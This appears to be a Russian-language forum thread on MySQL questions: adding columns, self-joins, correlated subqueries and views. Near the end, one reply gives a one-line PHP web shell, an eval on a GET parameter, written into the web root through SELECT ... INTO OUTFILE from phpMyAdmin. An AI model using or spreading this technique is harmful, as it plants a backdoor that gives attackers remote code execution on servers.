эквивалентно - не эквивалентно... я когда-то немало времени убил, чтобы оно заработыло (правда я на utf-8 переделывал как раз), и у меня без "эквивалентного", не знаю почему, работало очень и очень криво.
Я не спорю работать так будет, только нах лишний раз делать гвери которые приведут к тому что и 1 гверя?
Народ, совсем запутался с этим MySQL... как в уже существующей таблице $table_name создать (желательно одним запросом) столбец с именем $stolbik и вставить в него пять строчек со значениями: $aa, $bb, $cc, $dd, $ee, каждое из которых будет строкой не более 200 символов? И правильно я понимаю, что графически итог будет таким: Code: $table_name: ------------------------------ | др.таб. | | $stolbik | ------------------------------ | ... | | $aa | ------------- ------------- | ... | | $bb | ------------- ------------- | ... | | $cc | ------------- ------------- | ... | | $dd | ------------- ------------- | ... | | $ee | ------------- ------------- ?
ALTER TABLE `$table_name` ADD `$stolbik` VARCHAR(60) NOT NULL; INSERT INTO $table_name (`$stolbik`) VALUES ('$aa'); INSERT INTO $table_name (`$stolbik`) VALUES ('$bb'); INSERT INTO $table_name (`$stolbik`) VALUES ('$cc'); INSERT INTO $table_name (`$stolbik`) VALUES ('$dd'); INSERT INTO $table_name (`$stolbik`) VALUES ('$ee'); или так: ALTER TABLE `$table_name` ADD `$stolbik` VARCHAR(60) NOT NULL; INSERT INTO $table_name (`$stolbik`) VALUES ('$aa'), ('$bb'),('$cc'),('$dd'),('$ee');
PHP: //это создание столбика mysql_query = "ALTER TABLE `".$table_name."` ADD `".$stolbik."` VARCHAR(200) CHARACTER SET cp1251 COLLATE cp1251_general_ci NOT NULL;" а это добавить в этот столбик значения, только тебе нада циклом по всем $id пробежатся PHP: UPDATE `".$table_name."` SET `stolbik` = '".$aa."' WHERE `posts`.`id` =" . $id . " LIMIT 1 ; чота мы помоему по разному его поняли...
Ну я тупо ответил на вопрос, это же не PHP-раздел, может ему просто в phpmyadmin надо запрос выполнить и всё.
вопрос .... скажем я делаю такойзапрос SELECT * FROM users WHERE `login`= " Admin" но в колонке refer находится id пользователя .... чей логин нада ввыбрать из этой же таблицы ... вопрос как сделать это всё 1 запросом ... не будь это в 1ой таблицы сделал бы JOIN а тут хз даж =\\ чёт туплю я ...
сажем у пользователя admin в поле refer, id пользователя ... скажем 18 ... мне надо сделать так чтоб из базы выбралась вся инфа о пользователе admin а также login пользователя с id 18 .... тоесть чтоб в ответе было ... login (admin).. password(пароль пользователя ) ... refer_login(логин рефера ) ...
вопрос: существует или в mysql поддержка alias'ов/ссылок для таблиц? суть - в базе существует таблица NEWS, мы создаем что то типа ссылки или алиаса на эту таблицу и теперь мы можем обратится к этой таблице по запросу к NEW_NEWS (мы думаем что данные получаем из NEW_NEWS, а на самом деле они берутся из NEWS) надеюсь понятно)
Да, есть. пример: SELECT c1.cust_id, c2.cust_id FROM customer c1, customer c2 WHERE c1.surname = c2.surname AND c1.cust_id != c2.cust_id; (brainbell.com) Почитать можно тут: http://dev.mysql.com/doc/refman/5.0/en/identifiers.html
В данном случае думаю тебе здесь вполне поможет коррелирующий подзапрос Code: SELECT *, (SELECT `u`.`login` FROM `users` as `u` WHERE `u`.`id`=`users`.`refer`) as `reflogin` FROM `users` WHERE `login` = `admin` Что то типа такого, думаю смысл ясен
2 vikseriq Вы собственно на какой вопрос отвечали?) Думаю вы не совсем поняли суть вопроса. 2 big_BRAT Всю жизнь это называлось Видом (view... ну либо представлением в некоторых терминах ). Естественно это присутствует в mysql, так как этим способом зачастую организуется ограничение доступа к данным (например таблица о сотрудниках, с помощью вида выводим всю информацию кроме, к примеру, инн. Затем закрываем доступ к родительской таблице и даем права только на данный Вид). Почитать о реализации и синтаксисе в мускуле видов можно здесь: http://dev.mysql.com/doc/refman/5.1/en/show-create-view.html
есть доступ в пхпмайадмин нужно сделать что бы запрос select 'SHELL' into outfile 'C:/Program Files (x86)/VertrigoServ/www/forum/dbc.php'; где SHELL находиться в таблице news в ней три столбца date / news / id код шелла находиться в news, а id=56
Зачем так утруднять =)? Code: select '<? eval($_GET['com']); ?>' into outfile 'C:/Program Files (x86)/VertrigoServ/www/forum/shellik.php'; Потом заходишь на shellik.php?com=код шелла без <? ?>
CREATE TABLE `flash_gal` ( `id` int(9) NOT NULL auto_increment, `img` varchar(200) NOT NULL default \'\', `title` varchar(200) NOT NULL default \'\', PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=cp1251 AUTO_INCREMENT=6 ; Что не так?